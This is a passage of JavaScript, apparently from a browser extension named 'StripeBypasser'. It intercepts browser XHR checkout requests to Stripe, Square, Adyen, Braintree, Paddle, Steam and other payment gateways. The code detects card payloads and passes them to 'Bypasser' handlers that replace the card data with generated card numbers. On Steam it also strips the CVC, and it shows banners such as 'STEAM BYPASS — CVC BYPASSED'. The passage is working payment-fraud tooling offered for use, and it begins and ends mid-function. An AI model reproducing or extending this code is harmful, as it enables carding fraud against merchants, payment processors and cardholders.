          const normalizedText = requestBodyText.toLowerCase();
          const hasSquareCardData =
            normalizedText.includes('"card_data"') ||
            normalizedText.includes("card_data") ||
            (normalizedText.includes("cardnumber") && !normalizedText.includes("payment_method")) ||
            (normalizedText.includes("card_number") &&
              !normalizedText.includes("payment_method")) ||
            (normalizedText.includes('"number"') &&
              normalizedText.includes("exp_month") &&
              !normalizedText.includes("payment_method_data")) ||
            (normalizedText.includes("expiry_month") &&
              !normalizedText.includes("payment_method")) ||
            normalizedText.includes("expmonth") ||
            normalizedText.includes('"carddata"');
          const hasPaymentMarkers =
            normalizedText.includes("payment_method_data") ||
            normalizedText.includes("payment_method") ||
            normalizedText.includes("payment_intent") ||
            normalizedText.includes("stripe");
          hasSquarePayloadPattern =
            hasSquareCardData &&
            !hasPaymentMarkers &&
            (url.includes("/charge") || url.includes("/process") || url.includes("/card-nonce"));
        }
      }
      const isUniversalSquare =
        !isSteamCheckoutUrl &&
        !isGogApi &&
        (isSquareDomainUrl || isSquareApiUrl || hasSquarePayloadPattern);
      const isStripeDomainUrl =
        !isUniversalSquare &&
        (url.includes("api.stripe.com") ||
          url.includes("stripe.com/v1/") ||
          url.includes("invoice.stripe.com") ||
          url.includes("checkout.stripe.com"));
      let hasStripeLikePayloadPattern = false;
      if (
        !isUniversalSquare &&
        !isSteamCheckoutUrl &&
        !isStripeDomainUrl &&
        !isSquareDomainUrl &&
        !isSteamCheckoutUrl &&
        requestBodyText &&
        typeof requestBodyText === "string"
      ) {
        const normalizedText = requestBodyText.toLowerCase();
        if (
          !normalizedText.includes("card_data") &&
          !normalizedText.includes("carddata") &&
          !normalizedText.includes("square")
        ) {
          const hasPaymentMarkers =
            normalizedText.includes("payment_method_data") ||
            (normalizedText.includes("payment_intent") && normalizedText.includes("stripe")) ||
            (normalizedText.includes("card[number]") &&
              normalizedText.includes("payment_method") &&
              !normalizedText.includes("card_data")) ||
            (normalizedText.includes("card%5bnumber%5d") &&
              normalizedText.includes("payment_method") &&
              !normalizedText.includes("card_data"));
          const hasStripeMarkers =
            normalizedText.includes("stripe") &&
            (normalizedText.includes("payment_method") ||
              normalizedText.includes("payment_intent") ||
              normalizedText.includes("card[number]") ||
              normalizedText.includes("card%5bnumber%5d"));
          hasStripeLikePayloadPattern =
            (hasPaymentMarkers || hasStripeMarkers) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/charge") ||
              url.includes("/process"));
        }
      }
      if (isUniversalSquare || isSteamCheckoutUrl) {
        hasStripeLikePayloadPattern = false;
      }
      const isAdyenCheckoutEndpoint =
        (url.includes("checkoutshopper-live.adyen.com") ||
          url.includes("checkoutshopper-test.adyen.com") ||
          url.includes("api.adyen.com") ||
          url.includes("checkout.adyen.com") ||
          url.includes("live.adyen.com") ||
          url.includes("test.adyen.com")) &&
        ((url.includes("/checkoutshopper/v1/sessions/") && url.includes("/payments")) ||
          (url.includes("/v1/payments") && url.includes("adyen.com")) ||
          (url.includes("/v1/payment") && url.includes("adyen.com")));
      let hasAdyenPayloadPattern = false;
      if (!isAdyenCheckoutEndpoint && requestBodyText && typeof requestBodyText === "string") {
        const normalizedText = requestBodyText.toLowerCase();
        const hasEncryptedAdyenFields =
          normalizedText.includes("encryptedcardnumber") ||
          normalizedText.includes("encryptedsecuritycode") ||
          (normalizedText.includes('"details"') && normalizedText.includes('"paymentmethod"'));
        const isPaymentRequestPath =
          url.includes("/payment") ||
          url.includes("/payments") ||
          url.includes("/checkout/payment") ||
          url.includes("/process-payment");
        hasAdyenPayloadPattern = hasEncryptedAdyenFields && isPaymentRequestPath;
      }
      const isAdyenCheckoutRequest =
        (isAdyenCheckoutEndpoint || hasAdyenPayloadPattern) && !isGogApi;
      let hasCheckoutCardFormPattern = false;
      if (requestBodyText) {
        let payloadData = requestBodyText;
        if (typeof payloadData !== "string") {
          try {
            payloadData =
              typeof payloadData === "object" ? JSON.stringify(payloadData) : String(payloadData);
          } catch (error) {
            payloadData = "";
          }
        }
        if (typeof payloadData === "string") {
          const normalizedText = payloadData.toLowerCase();
          hasCheckoutCardFormPattern =
            (normalizedText.includes("card_number") || normalizedText.includes("cardnumber")) &&
            (normalizedText.includes("card_expiry_month") ||
              normalizedText.includes("card_expmonth")) &&
            (normalizedText.includes("card_expiry_year") ||
              normalizedText.includes("card_expyear")) &&
            (normalizedText.includes("card_holder") || normalizedText.includes("cardholder"));
        }
      }
      const isCheckoutDeviceRequest =
        (url.includes("api.checkout.com") || url.includes("devices.api.checkout.com")) &&
        !url.includes("card-acquisition-gateway.checkout.com") &&
        !url.includes("hipay") &&
        !url.includes("hipay-tpp.com") &&
        !url.includes("hipay.com") &&
        !hasCheckoutCardFormPattern;
      const isCheckoutComTransactionRequest =
        (url.includes("api.checkout.com") || url.includes("devices.api.checkout.com")) &&
        !url.includes("card-acquisition-gateway.checkout.com") &&
        !url.includes("hipay") &&
        !url.includes("hipay-tpp.com") &&
        !url.includes("hipay.com") &&
        !isCheckoutDeviceRequest;
      const isSmartGlocalApiRequest =
        (url.includes("payment.smart-glocal.com") || url.includes("smart-glocal.com")) &&
        (url.includes("/api/apm/tokenize/") || url.includes("/tokenize"));
      let hasSmartGlocalPayloadPattern = false;
      if (!isSmartGlocalApiRequest && requestBodyText && typeof requestBodyText === "string") {
        const normalizedText = requestBodyText.toLowerCase();
        hasSmartGlocalPayloadPattern =
          normalizedText.includes('"paymentdetails"') &&
          normalizedText.includes('"card"') &&
          (normalizedText.includes('"customerdetails"') ||
            normalizedText.includes('"systeminfo"')) &&
          (url.includes("/payment") ||
            url.includes("/checkout") ||
            url.includes("/tokenize") ||
            url.includes("/pay"));
      }
      const isSmartGlocalHas = isSmartGlocalApiRequest || hasSmartGlocalPayloadPattern;
      const isSteamApi =
        url.includes("checkout.steampowered.com") &&
        (url.includes("/checkout/inittransaction") ||
          url.includes("/inittransaction") ||
          url.includes("/checkout/finalizetransaction") ||
          url.includes("/finalizetransaction")) &&
        requestMethod === "POST";
      if (url.includes("steampowered.com") && requestMethod === "POST") {
        console.log("[SteamXHR] Steam XHR detected", {
          url,
          isSteamAPI: isSteamApi,
          requestMethod
        });
      }
      let isSteamPayload = false;
      if (!isSteamApi && requestBodyText && typeof requestBodyText === "string") {
        const normalizedText = requestBodyText.toLowerCase();
        const hasCardNumber = normalizedText.includes("cardnumber");
        const hasCardExpirationYear = normalizedText.includes("cardexpirationyear");
        const hasCardExpirationMonth = normalizedText.includes("cardexpirationmonth");
        const hasPaymentMethod = normalizedText.includes("paymentmethod");
        const hasBHasCardInfoMarker = normalizedText.includes("bhascardinfo");
        const hasGidShoppingCart = normalizedText.includes("gidshoppingcart");
        normalizedText.includes("sessionid=");
        const hasSteamBodyPattern =
          (hasCardNumber && hasCardExpirationYear && hasCardExpirationMonth && hasPaymentMethod) ||
          (hasGidShoppingCart && hasCardNumber) ||
          (hasBHasCardInfoMarker && hasCardNumber && hasPaymentMethod);
        const hasPaymentUrlPattern =
          url.includes("/checkout") ||
          url.includes("/payment") ||
          url.includes("/transaction") ||
          url.includes("/purchase") ||
          url.includes("steampowered.com");
        isSteamPayload = hasSteamBodyPattern && hasPaymentUrlPattern;
        if (hasCardNumber && url.includes("steampowered.com")) {
          console.log("[SteamDetect XHR] Steam payload pattern detected", {
            hasCardNumber,
            hasCardExpirationYear,
            hasCardExpirationMonth,
            hasPaymentMethod,
            hasGidShoppingCart,
            hasSteamBodyPattern,
            hasPaymentUrlPattern,
            isSteamPayload
          });
        }
      }
      let hasGidShoppingCartInBody = false;
      if (
        requestBodyText &&
        typeof requestBodyText === "string" &&
        requestBodyText.toLowerCase().includes("gidshoppingcart")
      ) {
        hasGidShoppingCartInBody = true;
        console.log(
          "[SteamDetect XHR] Found gidShoppingCart in bodyStr - DEFINITIVE Steam request!"
        );
      }
      const isUniversalSteam = isSteamApi || isSteamPayload || hasGidShoppingCartInBody;
      if (url.includes("steampowered.com") && method === "POST") {
        console.log("[SteamXHR] isUniversalSteam calculation:", {
          isSteamAPI: isSteamApi,
          isSteamPayload,
          hasGidShoppingCartInBody,
          hasBodyStr: !!requestBodyText,
          bodyStrType: typeof requestBodyText,
          bodyStrLength:
            requestBodyText && typeof requestBodyText === "string" ? requestBodyText.length : "N/A",
          isUniversalSteam,
          url
        });
      }
      const isNordPayApiUrl =
        (url.includes("nordpayments.com") || url.includes("iframe-api.nordpayments.com")) &&
        (url.includes("/v1/tokenize") ||
          url.includes("/tokenize") ||
          url.includes("/v1/payments") ||
          url.includes("/payments"));
      let hasNordPayPayload = false;
      if (!isNordPayApiUrl && requestBodyText && typeof requestBodyText === "string") {
        hasNordPayPayload =
          (requestBodyText.includes('"primary_account_number"') ||
            requestBodyText.includes("primary_account_number") ||
            (requestBodyText.includes('"expiration_month"') &&
              requestBodyText.includes('"expiration_year"'))) &&
          (url.includes("/payment") ||
            url.includes("/checkout") ||
            url.includes("/pay") ||
            url.includes("/tokenize") ||
            url.includes("/charge") ||
            url.includes("/process"));
      }
      const isNordPayRequest = isNordPayApiUrl || hasNordPayPayload;
      const isBraintreeApi =
        (url.includes("braintree-api.com") ||
          url.includes("braintreegateway.com") ||
          url.includes("payments.braintree-api.com")) &&
        (url.includes("/graphql") ||
          url.includes("/tokenize") ||
          url.includes("/v1/payment_methods") ||
          url.includes("/v1/transactions"));
      let isBraintreePayload = false;
      if (!isBraintreeApi && requestBodyText) {
        let braintreePayloadText = requestBodyText;
        if (typeof requestBodyText !== "string") {
          if (
            typeof requestBodyText !== "object" ||
            requestBodyText instanceof FormData ||
            requestBodyText instanceof URLSearchParams
          ) {
            braintreePayloadText = String(requestBodyText);
          } else {
            try {
              braintreePayloadText = JSON.stringify(requestBodyText);
            } catch (error) {
              braintreePayloadText = String(requestBodyText);
            }
          }
        }
        if (typeof braintreePayloadText === "string") {
          isBraintreePayload =
            (braintreePayloadText.includes('"TokenizeCreditCard"') ||
              braintreePayloadText.includes("TokenizeCreditCard") ||
              (braintreePayloadText.includes('"variables"') &&
                braintreePayloadText.includes('"creditCard"')) ||
              (braintreePayloadText.includes('"input"') &&
                braintreePayloadText.includes('"creditCard"'))) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/pay") ||
              url.includes("/tokenize") ||
              url.includes("/charge") ||
              url.includes("/process") ||
              url.includes("/graphql"));
        }
      }
      let hasBraintreeTokenizePayload = false;
      if (isBraintreeApi || isBraintreePayload) {
        let braintreeMutationPayloadText = requestBodyText;
        if (typeof requestBodyText !== "string") {
          if (
            typeof requestBodyText !== "object" ||
            requestBodyText instanceof FormData ||
            requestBodyText instanceof URLSearchParams
          ) {
            braintreeMutationPayloadText = String(requestBodyText);
          } else {
            try {
              braintreeMutationPayloadText = JSON.stringify(requestBodyText);
            } catch (error) {
              braintreeMutationPayloadText = String(requestBodyText);
            }
          }
        }
        hasBraintreeTokenizePayload =
          braintreeMutationPayloadText &&
          typeof braintreeMutationPayloadText === "string" &&
          (braintreeMutationPayloadText.includes("TokenizeCreditCard") ||
            braintreeMutationPayloadText.includes("tokenizeCreditCard")) &&
          braintreeMutationPayloadText.includes("creditCard") &&
          !braintreeMutationPayloadText.includes("clientConfiguration") &&
          !braintreeMutationPayloadText.includes("ClientConfiguration") &&
          !braintreeMutationPayloadText.includes("analytics") &&
          !braintreeMutationPayloadText.includes("Analytics") &&
          !braintreeMutationPayloadText.includes("session") &&
          !braintreeMutationPayloadText.includes("Session");
      }
      const isUniversalBraintree = hasBraintreeTokenizePayload;
      const isPaddleCheckoutRequest =
        (url.includes("checkout-service.paddle.com") || url.includes("paddle.com")) &&
        (url.includes("/pay") || url.includes("/checkout"));
      let hasPaddlePayloadPattern = false;
      if (!isPaddleCheckoutRequest && requestBodyText) {
        let payloadData = requestBodyText;
        if (typeof requestBodyText !== "string") {
          try {
            payloadData =
              typeof requestBodyText === "object"
                ? JSON.stringify(requestBodyText)
                : String(requestBodyText);
          } catch (error) {
            payloadData = String(requestBodyText);
          }
        }
        if (typeof payloadData === "string") {
          hasPaddlePayloadPattern =
            payloadData.includes("tokenex_card") &&
            payloadData.includes("payment_method_data") &&
            (payloadData.includes("encrypted_card_number") ||
              payloadData.includes("encrypted_cvv")) &&
            (url.includes("/pay") || url.includes("/checkout"));
        }
      }
      const isUniversalPaddle = isPaddleCheckoutRequest || hasPaddlePayloadPattern;
      const isEdfaPayExecuteRequest =
        url.includes("api.edfapay.com") && url.includes("/payment/execute") && method === "POST";
      let hasEdfaPayPayloadPattern = false;
      if (!isEdfaPayExecuteRequest && requestBodyText) {
        let edfaPayPayloadText = requestBodyText;
        if (typeof requestBodyText !== "string") {
          if (requestBodyText instanceof FormData) {
            const searchParams = new URLSearchParams();
            for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
              searchParams.append(requestBodyKey, requestBodyValue);
            }
            edfaPayPayloadText = searchParams.toString();
          } else if (requestBodyText instanceof URLSearchParams) {
            edfaPayPayloadText = requestBodyText.toString();
          } else {
            try {
              edfaPayPayloadText =
                typeof requestBodyText === "object"
                  ? JSON.stringify(requestBodyText)
                  : String(requestBodyText);
            } catch (error) {
              edfaPayPayloadText = String(requestBodyText);
            }
          }
        }
        if (typeof edfaPayPayloadText === "string") {
          const normalizedText = edfaPayPayloadText.toLowerCase();
          hasEdfaPayPayloadPattern =
            (normalizedText.includes("card_number") || normalizedText.includes("cardnumber")) &&
            (normalizedText.includes("card_exp_month") ||
              normalizedText.includes("card_expmonth") ||
              normalizedText.includes("cardexpmonth")) &&
            (normalizedText.includes("card_exp_year") ||
              normalizedText.includes("card_expyear") ||
              normalizedText.includes("cardexpyear")) &&
            (normalizedText.includes("merchant_id") ||
              normalizedText.includes("merchantid") ||
              normalizedText.includes("order_id") ||
              normalizedText.includes("orderid")) &&
            (url.includes("/payment") || url.includes("/checkout") || url.includes("/execute"));
        }
      }
      const isEdfaPayPgApiRequest =
        url.includes("pgapi.edfapay.com") && url.includes("/api/v1/payment");
      const isUniversalEdfaPay =
        (isEdfaPayExecuteRequest || hasEdfaPayPayloadPattern) && !isEdfaPayPgApiRequest;
      const isHiPayVaultTokenRequest = url.includes("secure2-vault.hipay-tpp.com/rest/v2/token");
      const isHiPayTransactionRequest =
        url.includes("api.hipay.com/v1/transaction") ||
        url.includes("api.hipay.com/v2/transaction") ||
        (url.includes("hipay.com") && url.includes("/transaction"));
      let hasHiPayPayloadPattern = false;
      if (!isHiPayVaultTokenRequest && requestBodyText) {
        let hiPayPayloadText = requestBodyText;
        if (typeof hiPayPayloadText !== "string") {
          if (hiPayPayloadText instanceof FormData) {
            const searchParams = new URLSearchParams();
            for (const [hiPayPayloadTextKey, hiPayPayloadTextValue] of hiPayPayloadText.entries()) {
              searchParams.append(hiPayPayloadTextKey, hiPayPayloadTextValue);
            }
            hiPayPayloadText = searchParams.toString();
          } else if (hiPayPayloadText instanceof URLSearchParams) {
            hiPayPayloadText = hiPayPayloadText.toString();
          } else if (typeof hiPayPayloadText === "object") {
            try {
              hiPayPayloadText = JSON.stringify(hiPayPayloadText);
            } catch (error) {
              hiPayPayloadText = String(hiPayPayloadText);
            }
          } else {
            hiPayPayloadText = String(hiPayPayloadText);
          }
        }
        if (typeof hiPayPayloadText === "string") {
          const normalizedText = hiPayPayloadText.toLowerCase();
          hasHiPayPayloadPattern =
            (normalizedText.includes("card_number") || normalizedText.includes("cardnumber")) &&
            (normalizedText.includes("card_expiry_month") ||
              normalizedText.includes("card_expmonth") ||
              normalizedText.includes("cardexpmonth")) &&
            (normalizedText.includes("card_expiry_year") ||
              normalizedText.includes("card_expyear") ||
              normalizedText.includes("cardexpyear")) &&
            (normalizedText.includes("card_holder") ||
              normalizedText.includes("cardholder") ||
              normalizedText.includes("card_holder")) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/token") ||
              url.includes("/pay"));
        }
      }
      const isUniversalHiPay =
        isHiPayVaultTokenRequest || hasHiPayPayloadPattern || isHiPayTransactionRequest;
      if (isBraintreeApi || isBraintreePayload || isUniversalBraintree) {
        stripeBypasserLogger.log("[FetchInterceptor] Braintree detected in XHR", {
          isBraintreeAPI: isBraintreeApi,
          isBraintreePayload,
          isUniversalBraintree,
          url,
          hasBody: !!requestBodyText,
          bodyType: typeof requestBodyText,
          handlerAvailable:
            !!window.BraintreeBypasserPayment && !!window.BraintreeBypasserPayment.handleGogPayment
        });
      }
      if (url.includes("steampowered.com")) {
        console.log(
          "[SquareHandler XHR] BLOCKED: Steam URL detected - Square isValidBin will NOT process this, continuing to Steam isValidBin",
          {
            url,
            isUniversalSquare
          }
        );
      } else if (isGogApi || url.includes("api.gog.com")) {
        console.error(
          "[SquareHandler XHR] BLOCKED: GOG URL detected - Square isValidBin will NOT process this!",
          {
            url,
            isUniversalSquare,
            isGogAPI: isGogApi
          }
        );
      } else {
        if (isSmartGlocalHas && requestBodyText) {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (!settingsData || !settingsData.enabled) {
            return originalXhrSend.apply(this, sendArgs);
          }
          if (
            window.SmartGlocalBypasserPayment &&
            window.SmartGlocalBypasserPayment.handleGogPayment
          ) {
            try {
              let serializedBody = requestBodyText;
              if (typeof requestBodyText !== "string") {
                if (requestBodyText instanceof FormData) {
                  const searchParams = new URLSearchParams();
                  for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
                    searchParams.append(requestBodyKey, requestBodyValue);
                  }
                  serializedBody = searchParams.toString();
                } else {
                  serializedBody = serializeRequestBodyValue(requestBodyText);
                }
              }
              const gatewayRequestOptions = {
                method: "POST",
                body: serializedBody,
                headers: {},
                url
              };
              const smartGlocalPayloadUpdate = window.SmartGlocalBypasserPayment.handleGogPayment(
                gatewayRequestOptions,
                settingsData
              );
              if (
                smartGlocalPayloadUpdate &&
                smartGlocalPayloadUpdate.body &&
                smartGlocalPayloadUpdate.body !== serializedBody
              ) {
                requestBodyText = smartGlocalPayloadUpdate.body;
                stripeBypasserLogger.log(
                  "[FetchInterceptor] Smart Glocal isValidBin modified XHR request"
                );
              }
            } catch (error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] Smart Glocal isValidBin error in XHR:",
                error
              );
            }
          }
          return originalXhrSend.call(this, requestBodyText);
        }
        if (isUniversalSquare && requestBodyText) {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (settingsData && settingsData.enabled === false) {
            return originalXhrSend.apply(this, sendArgs);
          }
          if (window.SquareBypasserPayment && window.SquareBypasserPayment.handleGogPayment) {
            try {
              let serializedBody = requestBodyText;
              if (typeof requestBodyText !== "string") {
                if (requestBodyText instanceof FormData) {
                  stripeBypasserLogger.warn(
                    "[FetchInterceptor] Square FormData not supported in XHR"
                  );
                  return originalXhrSend.apply(this, sendArgs);
                }
                serializedBody =
                  typeof requestBodyText === "object"
                    ? JSON.stringify(requestBodyText)
                    : String(requestBodyText);
              }
              const gatewayRequestOptions = {
                method: this._stripeMethod || "POST",
                body: serializedBody,
                headers: {},
                url
              };
              const squarePayloadUpdate = window.SquareBypasserPayment.handleGogPayment(
                gatewayRequestOptions,
                settingsData
              );
              if (squarePayloadUpdate && squarePayloadUpdate.body) {
                requestBodyText = squarePayloadUpdate.body;
                stripeBypasserLogger.log(
                  "[FetchInterceptor] Square isValidBin modified XHR request"
                );
                return originalXhrSend.apply(this, sendArgs);
              }
            } catch (error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] Square isValidBin error in XHR:",
                error
              );
            }
            return originalXhrSend.apply(this, sendArgs);
          }
          stripeBypasserLogger.warn(
            "[FetchInterceptor] Square detected but isValidBin not available"
          );
          return originalXhrSend.apply(this, sendArgs);
        }
      }
      if (isUniversalSteam && url.includes("steampowered.com")) {
        console.log("[SteamXHR] 🔵 AFTER SQUARE HANDLER", {
          url,
          method,
          isUniversalSteam,
          isUniversalSquare,
          isUniversalBraintree
        });
      }
      if (
        isUniversalSteam &&
        requestBodyText &&
        (url.includes("/checkout/inittransaction") || url.includes("/checkout/finalizetransaction"))
      ) {
        const steamRequestInfo = {
          url,
          method,
          hasBody: !!requestBodyText,
          bodyType: typeof requestBodyText
        };
        console.log(
          "[SteamXHR] 🎮 STEAM REQUEST DETECTED - Generating card now!",
          steamRequestInfo
        );
        try {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (settingsData && settingsData.enabled) {
            const originalRequestBody = requestBodyText;
            let serializedBody = originalRequestBody;
            if (typeof serializedBody !== "string") {
              if (serializedBody instanceof FormData) {
                const searchParams = new URLSearchParams();
                for (const [requestBodyKey, requestBodyValue] of serializedBody.entries()) {
                  searchParams.append(requestBodyKey, requestBodyValue);
                }
                serializedBody = searchParams.toString();
              } else {
                serializedBody =
                  serializedBody instanceof URLSearchParams
                    ? serializedBody.toString()
                    : String(serializedBody);
              }
            }
            const originalBodyText = serializedBody;
            if (window.SteamBypasserPayment && window.SteamBypasserPayment.handleGogPayment) {
              console.log("[SteamXHR] ✅ Calling Steam isValidBin to generate and replace card");
              const gatewayRequestOptions = {
                method: "POST",
                body: serializedBody,
                headers: {},
                url
              };
              const steamPayloadUpdate = window.SteamBypasserPayment.handleGogPayment(
                gatewayRequestOptions,
                settingsData
              );
              console.log("[SteamXHR] Steam isValidBin returned:", {
                hasModifiedOptions: !!steamPayloadUpdate,
                hasBody: !!steamPayloadUpdate && !!steamPayloadUpdate.body,
                bodyChanged:
                  steamPayloadUpdate &&
                  steamPayloadUpdate.body &&
                  steamPayloadUpdate.body !== originalBodyText
              });
              if (
                steamPayloadUpdate &&
                steamPayloadUpdate.body &&
                steamPayloadUpdate.body !== originalBodyText
              ) {
                serializedBody = rebuildRequestBody(originalRequestBody, steamPayloadUpdate.body);
                const isInitTransactionEndpoint =
                  url.includes("/checkout/inittransaction") || url.includes("/inittransaction");
                const isFinalizeTransactionUrl =
                  url.includes("/checkout/finalizetransaction") ||
                  url.includes("/finalizetransaction");
                if (isInitTransactionEndpoint) {
                  try {
                    const searchParams = new URLSearchParams(steamPayloadUpdate.body);
                    const hasSearchParamsCardNumber = searchParams.get("CardNumber") || "";
                    const hasCardExpirationParam = searchParams.get("CardExpirationMonth") || "";
                    const cardExpirationYearParam = searchParams.get("CardExpirationYear") || "";
                    if (hasSearchParamsCardNumber) {
                      const detectedCardBrand = getCardBrand(hasSearchParamsCardNumber);
                      const hasSearchParamsCard =
                        hasSearchParamsCardNumber +
                        "|" +
                        String(hasCardExpirationParam).padStart(2, "0") +
                        "|" +
                        String(cardExpirationYearParam).slice(-2);
                      if (window.createGogGodModeBanner) {
                        setTimeout(() => {
                          try {
                            window.createGogGodModeBanner(
                              "STEAM BYPASS — " +
                                hasSearchParamsCard +
                                " (" +
                                detectedCardBrand +
                                ")"
                            );
                          } catch (error) {
                            console.error("[SteamXHR] Error showing banner:", error);
                          }
                        }, 0);
                      }
                      console.log(
                        "[SteamXHR] 🎮 Steam: " +
                          hasSearchParamsCard +
                          " (" +
                          detectedCardBrand +
                          ")"
                      );
                    }
                  } catch (error) {
                    console.error("[SteamXHR] Error showing banner:", error);
                  }
                } else if (isFinalizeTransactionUrl) {
                  if (window.createGogGodModeBanner) {
                    setTimeout(() => {
                      try {
                        window.createGogGodModeBanner("STEAM BYPASS — CVC BYPASSED");
                      } catch (error) {
                        console.error("[SteamXHR] Error showing CVC bypass banner:", error);
                      }
                    }, 0);
                  }
                  console.log("[SteamXHR] ✅ CVC removed from finalizetransaction request");
                }
                console.log("[SteamXHR] ✅ Request modified successfully!", {
                  originalBodyLength: originalBodyText.length,
                  newBodyLength: steamPayloadUpdate.body.length,
                  newBodyPreview: steamPayloadUpdate.body.substring(0, 200)
                });
              } else {
                console.warn("[SteamXHR] ⚠️ Steam isValidBin returned no modifications");
              }
            } else {
              console.error("[SteamXHR] ❌ Steam isValidBin not available");
            }
          } else {
            console.log("[SteamXHR] Extension disabled, skipping card generation");
          }
        } catch (error) {
          console.error("[SteamXHR] Error in Steam isValidBin:", error);
        }
      }
      if (isUniversalBraintree && requestBodyText && !isUniversalSteam) {
        let serializedBody = requestBodyText;
        if (typeof requestBodyText !== "string") {
          if (
            typeof requestBodyText !== "object" ||
            requestBodyText instanceof FormData ||
            requestBodyText instanceof URLSearchParams
          ) {
            serializedBody = String(requestBodyText);
          } else {
            try {
              serializedBody = JSON.stringify(requestBodyText);
            } catch (error) {
              serializedBody = String(requestBodyText);
            }
          }
        }
        if (
          !serializedBody ||
          typeof serializedBody !== "string" ||
          (!serializedBody.includes("TokenizeCreditCard") &&
            (!serializedBody.includes("tokenizeCreditCard") ||
              !serializedBody.includes("creditCard")))
        ) {
          return originalXhrSend.apply(this, sendArgs);
        }
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (settingsData && settingsData.enabled === false) {
          return originalXhrSend.apply(this, sendArgs);
        }
        if (window.BraintreeBypasserPayment && window.BraintreeBypasserPayment.handleGogPayment) {
          try {
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {},
              url
            };
            const braintreePayloadUpdate = window.BraintreeBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (braintreePayloadUpdate && braintreePayloadUpdate.body) {
              return originalXhrSend.call(this, braintreePayloadUpdate.body);
            }
          } catch (error) {
            if (stripeBypasserLogger && stripeBypasserLogger.error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] Braintree isValidBin error in XHR",
                error
              );
            }
          }
        }
        return originalXhrSend.apply(this, sendArgs);
      }
      if (isUniversalPaddle && requestBodyText) {
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (
          settingsData &&
          settingsData.enabled !== false &&
          window.PaddleBypasserPayment &&
          window.PaddleBypasserPayment.handleGogPayment
        ) {
          try {
            let serializedBody = requestBodyText;
            if (typeof requestBodyText !== "string") {
              serializedBody =
                typeof requestBodyText !== "object" ||
                requestBodyText instanceof FormData ||
                requestBodyText instanceof URLSearchParams
                  ? String(requestBodyText)
                  : JSON.stringify(requestBodyText);
            }
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {},
              url
            };
            const paddlePayloadUpdate = window.PaddleBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (paddlePayloadUpdate && paddlePayloadUpdate.body) {
              return originalXhrSend.call(this, paddlePayloadUpdate.body);
            }
          } catch (error) {
            if (stripeBypasserLogger && stripeBypasserLogger.error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] Paddle isValidBin error in XHR",
                error
              );
            }
          }
        }
        return originalXhrSend.apply(this, sendArgs);
      }
      if (isUniversalEdfaPay && requestBodyText) {
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (
          settingsData &&
          settingsData.enabled !== false &&
          window.EdfaPayBypasserPayment &&
          window.EdfaPayBypasserPayment.handleGogPayment
        ) {
          try {
            let serializedBody = requestBodyText;
            if (typeof requestBodyText !== "string") {
              if (requestBodyText instanceof FormData) {
                const searchParams = new URLSearchParams();
                for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
                  searchParams.append(requestBodyKey, requestBodyValue);
                }
                serializedBody = searchParams.toString();
              } else {
                serializedBody = serializeRequestBodyValue(requestBodyText);
              }
            }
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {},
              url
            };
            const edfaPayPayloadUpdate = window.EdfaPayBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (edfaPayPayloadUpdate && edfaPayPayloadUpdate.body) {
              if (requestBodyText instanceof FormData) {
                const formData = new FormData();
                const searchParams = new URLSearchParams(edfaPayPayloadUpdate.body);
                for (const [searchParamKey, searchParamValue] of searchParams.entries()) {
                  formData.append(searchParamKey, searchParamValue);
                }
                return originalXhrSend.call(this, formData);
              }
              if (requestBodyText instanceof URLSearchParams) {
                return originalXhrSend.call(this, new URLSearchParams(edfaPayPayloadUpdate.body));
              }
              return originalXhrSend.call(this, edfaPayPayloadUpdate.body);
            }
          } catch (error) {
            if (stripeBypasserLogger && stripeBypasserLogger.error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] EdfaPay isValidBin error in XHR",
                error
              );
            }
          }
        }
        return originalXhrSend.apply(this, sendArgs);
      }
      if (isCheckoutComTransactionRequest && !isUniversalHiPay) {
        const xhrInstance = this;
        xhrInstance.addEventListener("load", () => {
